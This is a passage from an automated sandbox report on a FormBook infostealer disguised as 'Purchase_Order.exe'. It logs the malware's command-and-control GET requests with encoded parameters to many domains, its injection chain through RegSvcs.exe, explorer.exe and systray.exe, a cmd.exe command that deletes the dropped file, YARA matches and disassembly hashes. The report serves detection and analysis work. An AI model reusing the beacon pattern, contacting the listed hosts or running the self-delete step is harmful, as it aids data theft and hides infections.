Jun 11, 2021 15:02:33.885598898 CEST	1543	OUT	GET /uqf5/?7nBTylox=Da4K3sj86vB0DiXWDS0M3B9qaJwAtTAx24xw0Tll3v3x/H7Mq6Ed11VjNseOa8Aw4v8GgidMYQ==&x2J86x=b0DT HTTP/1.1 Host: www.mexicobeachselfstorage.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jun 11, 2021 15:02:34.064239025 CEST	1544	IN	HTTP/1.1 404 Not Found Date: Fri, 11 Jun 2021 13:02:33 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.7	49736	34.102.136.180	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jun 11, 2021 15:02:39.242866039 CEST	1563	OUT	GET /uqf5/?7nBTylox=OWFfPnC7AN8R77spBBTPEjKTeS6t/Yq1T4r8C76EKqDZAgRBJ/M7pX2IcLDFGki/UVfODSOMWA==&x2J86x=b0DT HTTP/1.1 Host: www.tylerrucarean.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jun 11, 2021 15:02:39.380528927 CEST	1804	IN	HTTP/1.1 403 Forbidden Server: openresty Date: Fri, 11 Jun 2021 13:02:39 GMT Content-Type: text/html Content-Length: 275 ETag: "60c03ab8-113" Via: 1.1 google Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"> <title>Forbidden</title></head><body><h1>Access Forbidden</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.7	49737	156.241.53.127	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jun 11, 2021 15:02:44.697962046 CEST	4589	OUT	GET /uqf5/?7nBTylox=G6aWL4dGCeTaDQvTN0iTmiC4rQ5Mm02kgONc9W0Ihpzmf26Z6y5bJWrOsZ7s6rQ8mSLn4IOSJg==&x2J86x=b0DT HTTP/1.1 Host: www.cgjanvier.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jun 11, 2021 15:02:45.473994017 CEST	4590	IN	HTTP/1.1 302 Moved Temporarily Date: Fri, 11 Jun 2021 13:02:44 GMT Server: Apache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: PHPSESSID=j3m6f66rdeckaaj3j3b3fkf2p4; path=/ Upgrade: h2 Connection: Upgrade, close Location: / Content-Length: 0 Content-Type: text/html; charset=gbk

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.7	49738	184.168.131.241	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jun 11, 2021 15:02:50.500833035 CEST	4592	OUT	GET /uqf5/?7nBTylox=kpO7L1Lkp8iY+ON3mW6Oq8CK0aWMRalGagQzJa0PwjziroypQJ68geE/Aoh82zgIKZtO8rNXLQ==&x2J86x=b0DT HTTP/1.1 Host: www.flockuplabs.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jun 11, 2021 15:02:50.718878031 CEST	4592	IN	HTTP/1.1 301 Moved Permanently Server: nginx/1.16.1 Date: Fri, 11 Jun 2021 13:02:50 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Location: https://flockuplabs.netlify.app/uqf5/?7nBTylox=kpO7L1Lkp8iY+ON3mW6Oq8CK0aWMRalGagQzJa0PwjziroypQJ68geE/Aoh82zgIKZtO8rNXLQ==&x2J86x=b0DT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.7	49739	104.21.64.212	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jun 11, 2021 15:02:55.901098967 CEST	4593	OUT	GET /uqf5/?7nBTylox=0mO7J7bxUTMGF+cl/VKrKxzRBdjnePXE0BEJzt+odUfuolHzSnSh7sdQNpsCsCcZdtFb7j3ZKA==&x2J86x=b0DT HTTP/1.1 Host: www.culturalinterface.net Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jun 11, 2021 15:02:56.303220987 CEST	4594	IN	HTTP/1.1 403 forbidden Date: Fri, 11 Jun 2021 13:02:56 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding CF-Cache-Status: DYNAMIC cf-request-id: 0a9cc42fc10000c29525aa6000000001 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v2?s=jmGl9O6L%2B3wEM9OVAKoZuFUbBtUYOG6CrWGKf4JmH1L1C%2BfxSAkIpCbiI%2B1KFNya5NS4Pmg9NGI90JR8a5LE4JQyRErHT%2FqpGyTpWqq%2Bx%2Fd7RrOPqsAgJOeRVftjdSZTahvfYPwJBg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 65db095f9fc7c295-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 64 0d 0a 34 30 33 20 46 4f 52 42 49 44 44 45 4e 0d 0a Data Ascii: d403 FORBIDDEN
Jun 11, 2021 15:02:56.303244114 CEST	4594	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.7	49746	34.102.136.180	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jun 11, 2021 15:03:01.424962997 CEST	4874	OUT	GET /uqf5/?7nBTylox=pmtBAvifUG/ctnoihxxVo+fAjsCiy+wOZZJ542i91rLFt0/MLgCG4nudrW9V9JXQ/3W4T2ttkA==&x2J86x=b0DT HTTP/1.1 Host: www.toolbnbapp.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jun 11, 2021 15:03:01.563910007 CEST	4915	IN	HTTP/1.1 403 Forbidden Server: openresty Date: Fri, 11 Jun 2021 13:03:01 GMT Content-Type: text/html Content-Length: 275 ETag: "60ba413e-113" Via: 1.1 google Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"> <title>Forbidden</title></head><body><h1>Access Forbidden</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.7	49752	45.140.167.161	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jun 11, 2021 15:03:06.762137890 CEST	5490	OUT	GET /uqf5/?7nBTylox=kfF6JYR62xx/HO09iSVcnhFTUCCMKaRIkXBWym1Qtkj7XLCdUz5OHH2iCIaFDs/mVibljY8vwA==&x2J86x=b0DT HTTP/1.1 Host: www.trainup-wall.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jun 11, 2021 15:03:06.846755028 CEST	5490	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Fri, 11 Jun 2021 13:03:06 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Data Raw: 39 39 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 99<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.7	49753	160.16.235.37	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jun 11, 2021 15:03:12.500335932 CEST	5495	OUT	GET /uqf5/?7nBTylox=bDjqt1XeIDnHqlCDx4UVtMOGyZAgv2iIcL7KLwBfVGeKSjMBDNU7E4Z2+8mD2QoqovVkCTqMJw==&x2J86x=b0DT HTTP/1.1 Host: www.paolograssino.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jun 11, 2021 15:03:13.179290056 CEST	5497	IN	HTTP/1.1 403 Forbidden Server: nginx/1.20.0 Date: Fri, 11 Jun 2021 13:03:13 GMT Content-Type: text/html; charset=iso-8859-1 Content-Length: 13 Connection: close X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 34 30 33 20 46 6f 72 62 69 64 64 65 6e Data Ascii: 403 Forbidden

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: Purchase_Order.exe PID: 1528 Parent PID: 5804

General

Start time:	15:01:12
Start date:	11/06/2021
Path:	C:\Users\user\Desktop\Purchase_Order.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\Purchase_Order.exe'
Imagebase:	0x4f0000
File size:	1532416 bytes
MD5 hash:	4AA8159742BECD97F9ECDDA33798B065
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000000.00000002.259691374.0000000002B20000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000000.00000002.259944230.0000000003AD1000.00000004.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000000.00000002.259944230.0000000003AD1000.00000004.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000000.00000002.259944230.0000000003AD1000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Chronological Activities

Analysis Process: RegSvcs.exe PID: 3608 Parent PID: 1528

General

Start time:	15:01:23
Start date:	11/06/2021
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Imagebase:	0x860000
File size:	45152 bytes
MD5 hash:	2867A3817C9245F7CF518524DFD18F28
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000004.00000002.320741403.0000000001210000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000004.00000002.320741403.0000000001210000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000004.00000002.320741403.0000000001210000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000004.00000002.321348253.0000000001580000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000004.00000002.321348253.0000000001580000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000004.00000002.321348253.0000000001580000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000004.00000000.257791048.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000004.00000000.257791048.0000000000400000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000004.00000000.257791048.0000000000400000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000004.00000002.320281190.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000004.00000002.320281190.0000000000400000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000004.00000002.320281190.0000000000400000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	high

Chronological Activities

Analysis Process: explorer.exe PID: 3292 Parent PID: 3608

General

Start time:	15:01:26
Start date:	11/06/2021
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:
Imagebase:	0x7ff662bf0000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: systray.exe PID: 1752 Parent PID: 3292

General

Start time:	15:01:49
Start date:	11/06/2021
Path:	C:\Windows\SysWOW64\systray.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\systray.exe
Imagebase:	0x13b0000
File size:	9728 bytes
MD5 hash:	1373D481BE4C8A6E5F5030D2FB0A0C68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000010.00000002.504805498.0000000004D80000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000010.00000002.504805498.0000000004D80000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000010.00000002.504805498.0000000004D80000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000010.00000002.501363256.00000000010C0000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000010.00000002.501363256.00000000010C0000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000010.00000002.501363256.00000000010C0000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000010.00000002.505034491.0000000004DB0000.00000004.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000010.00000002.505034491.0000000004DB0000.00000004.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000010.00000002.505034491.0000000004DB0000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	moderate

Chronological Activities

Analysis Process: cmd.exe PID: 1200 Parent PID: 1752

General

Start time:	15:01:54
Start date:	11/06/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/c del 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe'
Imagebase:	0x230000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 5552 Parent PID: 1200

General

Start time:	15:01:54
Start date:	11/06/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff774ee0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: Purchase_Order.exe PID: 1528 Parent PID: 5804 Purchase_Order.exeCOMMON

Executed Functions

Function 05E66808, Relevance: 8.9, Instructions: 8932COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.268780068.0000000005E60000.00000040.00000001.sdmp, Offset: 05E60000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e91af160e7293756e80cd6f06ddc140275a915e8c7f58540c3d5a50092cfe54
Instruction ID: 86a768d57fdd78b95c0e6bacf34bee6da81702714ab7ea06a845b750371e81a2
Opcode Fuzzy Hash: 7e91af160e7293756e80cd6f06ddc140275a915e8c7f58540c3d5a50092cfe54
Instruction Fuzzy Hash: 9A249234A50618CFCB28DF24C998AD9B7B1FF49305F5152E9E54AAB361DB31AE81CF40

Uniqueness

Uniqueness Score: -1.00%

Function 05E667F9, Relevance: 8.9, Instructions: 8873COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.268780068.0000000005E60000.00000040.00000001.sdmp, Offset: 05E60000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df1d9f4d1dcb2a284605c38c860617abb4c4da4b41d5bc8364fe7b724e8ae3a0
Instruction ID: ba3d07ef11274d8fb8fcbb91b1eea09c85615cdf576ad4502ca4dbc745cdbc15
Opcode Fuzzy Hash: df1d9f4d1dcb2a284605c38c860617abb4c4da4b41d5bc8364fe7b724e8ae3a0
Instruction Fuzzy Hash: A3249234A50618CFCB28DF24C998AD9B7B1FF49305F5152E9E54AAB361DB31AE81CF40

Uniqueness

Uniqueness Score: -1.00%

Function 05E60040, Relevance: 5.5, Strings: 3, Instructions: 1792COMMON

Download Yara Rule

Strings

48Bl, xrefs: 05E609FA
48Bl, xrefs: 05E609F0
d, xrefs: 05E60552

Memory Dump Source

Source File: 00000000.00000002.268780068.0000000005E60000.00000040.00000001.sdmp, Offset: 05E60000, based on PE: false

Similarity

API ID:
String ID: 48Bl$48Bl$d
API String ID: 0-27236525
Opcode ID: 70a08fd2b23d5ad8444435d23cbc9a57d40c53a90149ac0be29fee5503415b70
Instruction ID: 7b91c5cb24e3b0bcdcd59505c33ff9a850516b365f47f0716d6ce1234d12b1ed
Opcode Fuzzy Hash: 70a08fd2b23d5ad8444435d23cbc9a57d40c53a90149ac0be29fee5503415b70
Instruction Fuzzy Hash: F0F2A038B442158FEB18DF64C458AAD77B2FF89385F0190A9D94A9B395DB30EC81CF91

Uniqueness

Uniqueness Score: -1.00%

Function 05E60006, Relevance: 4.2, Strings: 3, Instructions: 498COMMON

Download Yara Rule

Strings

48Bl, xrefs: 05E609FA
48Bl, xrefs: 05E609F0
d, xrefs: 05E60552

Memory Dump Source

Source File: 00000000.00000002.268780068.0000000005E60000.00000040.00000001.sdmp, Offset: 05E60000, based on PE: false

Similarity

API ID:
String ID: 48Bl$48Bl$d
API String ID: 0-27236525
Opcode ID: ed44fc7c26ce53393381e142b1ffba4ba70d7ac855d2301dce86b5f4b26879af
Instruction ID: e575058201dcdd922b0008e74fe9b8a923c26fc6fdad6acca3609f89d20a7041
Opcode Fuzzy Hash: ed44fc7c26ce53393381e142b1ffba4ba70d7ac855d2301dce86b5f4b26879af
Instruction Fuzzy Hash: 12324A78A41215CFD718DF24D489A9AB7B2FF89384F1191E9D8469B365EB30EC42CF90

Uniqueness

Uniqueness Score: -1.00%

Function 0291BBB8, Relevance: 1.7, APIs: 1, Instructions: 200COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0291BE0E

Memory Dump Source

Source File: 00000000.00000002.259440849.0000000002910000.00000040.00000001.sdmp, Offset: 02910000, based on PE: false

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 25b5dd2b28fbaf7ed903944c08cebb858084622a33d9dcbb318ee433167915f6
Instruction ID: a3e10378aff30e103e3e722d528d2f3a751a71e78f3ae061503d266b2cb03e80
Opcode Fuzzy Hash: 25b5dd2b28fbaf7ed903944c08cebb858084622a33d9dcbb318ee433167915f6
Instruction Fuzzy Hash: 51712970A00B098FD724DF2AD15175AB7F6FF88208F00892DD59AD7A50DB75E906CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0291B208, Relevance: 1.6, APIs: 1, Instructions: 127COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 0291DD8A

Memory Dump Source

Source File: 00000000.00000002.259440849.0000000002910000.00000040.00000001.sdmp, Offset: 02910000, based on PE: false

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: cace05d0b84a750493cdf73c8520ba8a0612575640d0b4a28141158acd20c08e
Instruction ID: cc5f42effe9a12e4f910058f1f7335f35397cf4c959a9db6b9b84bab5acfd7cb
Opcode Fuzzy Hash: cace05d0b84a750493cdf73c8520ba8a0612575640d0b4a28141158acd20c08e
Instruction Fuzzy Hash: 3B5110B1D043489FDB15CFAAC880ADEBFB5BF49304F24852AE819AB250D7749885CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0291B224, Relevance: 1.6, APIs: 1, Instructions: 116COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 0291DD8A

Memory Dump Source

Source File: 00000000.00000002.259440849.0000000002910000.00000040.00000001.sdmp, Offset: 02910000, based on PE: false

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 7fb0150464795c85808ea8c5bdba61cef19152a949eaa30d6d4923e1188ade8a
Instruction ID: 22eee9ce20bd8fbbe2ad931a7780f0cf3297516a9f92812821b0733e93f18bd8
Opcode Fuzzy Hash: 7fb0150464795c85808ea8c5bdba61cef19152a949eaa30d6d4923e1188ade8a
Instruction Fuzzy Hash: D951C0B1D0030D9FDB14CF9AC884ADEBBB5BF48314F24862AE819AB250D7749845CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0291DC6D, Relevance: 1.6, APIs: 1, Instructions: 115COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 0291DD8A

Memory Dump Source

Source File: 00000000.00000002.259440849.0000000002910000.00000040.00000001.sdmp, Offset: 02910000, based on PE: false

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: d045391d6eb789ba8cffb4d310ecdd7289a8b7ad2b249ce8b2043cd67cf4cfb3
Instruction ID: 571dcdec3230c433cc92da3d0b41d6f4d8b0b994be0c67c56b99da6bfd359262
Opcode Fuzzy Hash: d045391d6eb789ba8cffb4d310ecdd7289a8b7ad2b249ce8b2043cd67cf4cfb3
Instruction Fuzzy Hash: 0551D0B5D00309DFDF15CFAAC980ADEBBB5BF48314F25812AE819AB250D7749985CF90

Uniqueness

Uniqueness Score: -1.00%

Function 02916D41, Relevance: 1.6, APIs: 1, Instructions: 102COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 02916E3F

Memory Dump Source

Source File: 00000000.00000002.259440849.0000000002910000.00000040.00000001.sdmp, Offset: 02910000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: e476e46edff4d46b865da2fce70255ff6e93b6344c10f34f3f0b57b081279f5c
Instruction ID: 70f44d7a066c43266d3e19fe345303d4522b078758757083b43384bc12393914
Opcode Fuzzy Hash: e476e46edff4d46b865da2fce70255ff6e93b6344c10f34f3f0b57b081279f5c
Instruction Fuzzy Hash: 84415B76901249AFCF01CFA9D884AEEBFF9EF88310F15805AE954A7350C3359955CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0291DE81, Relevance: 1.6, APIs: 1, Instructions: 70COMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,?,?), ref: 0291DF1D

Memory Dump Source

Source File: 00000000.00000002.259440849.0000000002910000.00000040.00000001.sdmp, Offset: 02910000, based on PE: false

Similarity

API ID: LongWindow
String ID:
API String ID: 1378638983-0
Opcode ID: c7b712c77d1457323cf7d6fef6c67fe8869c2b9dd07bae13bfa73463507089ab
Instruction ID: 749eac013a7ecacc3aa29e26b0d379b17c702204493845b08c230f41a595a8ec
Opcode Fuzzy Hash: c7b712c77d1457323cf7d6fef6c67fe8869c2b9dd07bae13bfa73463507089ab
Instruction Fuzzy Hash: 602198B6800249DFCB11CFA9D584BDEBBF4EF98314F09848AE455A7211C334A909CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 02916DB0, Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 02916E3F

Memory Dump Source

Source File: 00000000.00000002.259440849.0000000002910000.00000040.00000001.sdmp, Offset: 02910000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
